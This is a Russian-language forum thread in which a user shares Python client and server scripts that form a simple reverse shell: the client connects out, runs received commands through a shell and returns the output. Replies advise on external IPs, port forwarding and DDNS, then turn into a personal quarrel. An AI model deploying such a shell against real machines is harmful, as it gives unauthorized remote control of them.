Удаленное подключение (PYTHON)

  • Автор темы Автор темы teddy1337
  • Дата начала Дата начала

teddy1337

Green Team
22.10.2019
31
3
Есть код сервера и клиента. Все работает хорошо, но программа работает только по локальной сети. Если пытаюсь удаленно с другого города, то она не работает. Не знаю какой ip надо вводить для сервера, чтобы ко мне могли подключиться удаленно


Клиентская часть:
Python:
import subprocess
import socket
import os

def execute_command(command):
    return subprocess.check_output(command, shell=True)

connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(('192.168.0.15', 8888))

while True:
    command = connection.recv(1024)
    command_result = execute_command(command)
    connection.send(command_result)

connection.close()

Серверная часть
Python:
import subprocess
import socket
import os
listner = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listner.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listner.bind(('192.168.0.15', 8888))
listner.listen(0)
print("[+] Waiting for connection")
connection, address = listner.accept()
print("[+] Connection established - " + str(address))

while True:
    command = raw_input("----> ")
    connection.send(command)
    result = connection.recv(1024)
    print(result)
 
Всего то и надо: заплатить провайдеру и получить внешний IP адрес.
 
Не знаю какой ip надо вводить для сервера, чтобы ко мне могли подключиться удаленно
Как писали выше, нужен внешний айпишник, потом пробросить порт на роутере (у тебя TCP/8888) на свой локальный айпишник (у тебя 192.168.0.15).
Ну и в скрипте, который слушает, желательно поменять интерфейс на 0.0.0.0, чтобы избежать потенциальных проблем при изменении адреса.
Внешний айпишник можно посмотреть, например, тут: What Is My IP Address? - ifconfig.me
 
Как писали выше, нужен внешний айпишник, потом пробросить порт на роутере (у тебя TCP/8888) на свой локальный айпишник (у тебя 192.168.0.15).
Ну и в скрипте, который слушает, желательно поменять интерфейс на 0.0.0.0, чтобы избежать потенциальных проблем при изменении адреса.
Внешний айпишник можно посмотреть, например, тут: What Is My IP Address? - ifconfig.me
Как пробросить порт вот этого момента не понял
 
Можешь настроить ddns, или же использовать NoIp сервис
 
Вы уже совсем этого чувака запутали ))
  • Зачем ему пробрасывать порт ? Пусть подключается на порту 8888, если провайдер не блокирует этот порт.
  • Зачем ему ddns ? В этом случае ему весь скрипт придётся переписать.
  • Он не утверждает, что у его серверной части динамический IP. Может у него статика ?
Не знаю какой ip надо вводить для сервера, чтобы ко мне могли подключиться удаленно

Ответ на твой вопрос очевиден.
Если для подключения тебе нужен только IP-адрес, то попросту замени адрес внутренней сети на внешний вот в этой строчке клиентской части.
connection.connect(('192.168.0.15', 8888))

А вообще лучше бы ты выложил логи подключения сервера и клиента. По логам проще будет определить твою проблему. Возможно, скрипт содержит ошибки.
Рекомендую ознакомиться со статьёй по адресу:
 
Всего то и надо: заплатить провайдеру и получить внешний IP адрес.
Внешний IP адрес оплачивать НЕ нужно. Адрес выдаётся каждому устройству при подключении к сети интернет.
Нужно оплачивать статический (то есть постоянный, не меняющийся со временем) внешний IP.
 
Адрес выдаётся каждому устройству при подключении к сети интернет.
Нет. Почитайте про NAT.

Внешний IP адрес оплачивать НЕ нужно.
Это зависит от провайдера.

Зачем ему пробрасывать порт ? Пусть подключается на порту 8888, если провайдер не блокирует этот порт.
Затем, что у большинства пользователей есть роутер.
 
Угу, всё верно:
  • у большинства пользователей имеются роутеры
  • провайдер выдаёт один адрес на ку4еву туча абонентов (это я про Network Address Translation)
Продолжу цепочку, чего уж останавливаться и тем самым демонстрировать скудность фантазии:
  1. не установлен и нтерпретатор языка Python на сервере или на клиенте
  2. перепутал сервер с клиентом
  3. не подключил компьютеры к сети
  4. руки не оттуда растут
  5. вместо мозга - карта сбербанка
  6. не настроил фаерволл
  7. кривой код
  8. и так далее...

Только всё это - ваши фантазии.

Это форум фант фазёров и или людей, считающих себя специалистами ?

 
Угу, всё верно:
  • у большинства пользователей имеются роутеры
  • провайдер выдаёт один адрес на ку4еву туча абонентов (это я про Network Address Translation)
Вы знаете, что у пользователя может быть роутер, но говорите, что порт пробрасывать не нужно.
Вы понимаете, что есть NAT, и куча клиентов получает один внешний айпишник, но говорите, что нужен только статический адрес, не говоря ничего, что нужен внешний (белый/маршрутизируемый) адрес.
Не видите противоречий?

Продолжу цепочку, чего уж останавливаться и тем самым демонстрировать скудность фантазии:
Не несите бред. Перечитайте ещё раз мой пост и нормально укажите, что именно там неправильно.
 
Перечитайте ещё раз мой пост и нормально укажите, что именно там неправильно.
Неправильными являются несколько "вещей".
Первая. Твоя фундаментальная и почему-то непоколебимая уверенность в собственной правоте.
Вторая. Неспособность критически мыслить. ВАЖНО: Критически по отношению к себе, а не окружающим.
Третья. Невнимательность. Предположу, что ты не математик. Ты домысливаешь и свои домыслы возводишь в ранг реальности. В частности, ты безосновательно предположил, что сервер находится за NAT, а также наличие ненастроенного роутера. Автор вопроса ни словом не обмолвился о том, что запускает серверную часть скрипта на домашней машине.
Вопрос был только о внешнем IP:
Не знаю какой ip надо вводить для сервера, чтобы ко мне могли подключиться удаленно
Почему бы тебе не предположить, что автор вопроса запускает сервер на арендованном VDS, который прямо глядит в интернет - ведь в этом случае все ваши (здесь имеется ввиду все предыдущие "помощники") ответы - просто пустые звуки.
Четвёртая - нежелание признать свои ошибки. Слабость.


P. S. Я тебе ничего не должен. В следующий раз постарайся быть вежливее. Свой полу-приказной тон оставь другим.
 
Последнее редактирование:
Первая. Твоя фундаментальная и почему-то непоколебимая уверенность в собственной правоте.

Вторая. Неспособность критически мыслить. ВАЖНО: Критически по отношению к себе, а не окружающим.

Четвёртая - нежелание признать свои ошибки. Слабость.
Столько текста и ни капли конструктива по теме. Только предположения и попытки унизить.
Я бы не просил указать на свои ошибки, если бы непоколебимо был уверен в своей правоте. Логично?


Третья. Невнимательность. Предположу, что ты не математик. Ты домысливаешь и свои домыслы возводишь в ранг реальности. В частности, ты безосновательно предположил, что сервер находится за NAT, а также наличие ненастроенного роутера. Автор вопроса ни словом не обмолвился о том, что запускает серверную часть скрипта на домашней машине.
У автора написано, что софт запускается в локалке. Будьте внимательнее :)
 
Это форум фант фазёров и или людей, считающих себя специалистами ?
Это форум компании Кодебай, на котором гости могут почитать полезные материалы, а участники обсудить темы, связанные с IT. Надеюсь нет сомнений в профессионализме команды Кодебай?
 
Это форум компании Кодебай, на котором гости могут почитать полезные материалы, а участники обсудить темы, связанные с IT. Надеюсь нет сомнений в профессионализме команды Кодебай?
Я реально не понимаю, зачем мне информация о том, чей это форум, кому он принадлежит. К профессионализму или непрофессионализму команды я вААще равнодушен. Зачем мне это знать ? Не смог устоять перед соблазном самоутверждения ?

А вот на тему "почитать" - по делу зацепил )
С тех пор, как вас припугнули блокировкой, читать гостям тут практически нечего. Впору писать статьи о вышивании крестиком или статьи на тему кулинарных рецептов.
Нет, ну конечно-же пишутся и на главной странице публикуются статьи. Только они какие-то мёртвые. Можете считать меня туповатым, но наслаждения от прочтения этих статей нет.
Наверное, эти статьи являются частью каких-то проектов, над которыми работают авторы. Другого разумного объяснения для их написания нет. Для гостей - это не чтиво.

The Codeby, а сколько усилий стоит тебе прочтение этих статей ?

 
Можете считать меня туповатым
А как можно по другому думать о человеке, которому несколько лет показывают на дверь, а он все возвращается на наш ужасный форум? Нужен хороший форум? Да не вопрос - берись и делай, а не сопли тут распускай.
@The Codeby, а сколько усилий стоит тебе прочтение этих статей ?
Не могу позволить себе такой роскоши, не читаю.
 
А как можно по другому думать о человеке, которому несколько лет показывают на дверь, а он все возвращается на наш ужасный форум? Нужен хороший форум? Да не вопрос - берись и делай, а не сопли тут распускай.
Это открытый форум. И не в твоей компетенции указывать мне какие ресурсы Интернета мне посещать. На дверь указывай своим прихвостням. Не тебе указывать, чем мне заниматься, а чем не заниматься. Корону на своей голове поправь.
Ужасным я этот форум никогда не называл - это очередные домыслы.
НУ, а сопли распускать ты мне повода не давал. Пусть мои сопли тебя не волнуют.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →

Популярный контент

🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab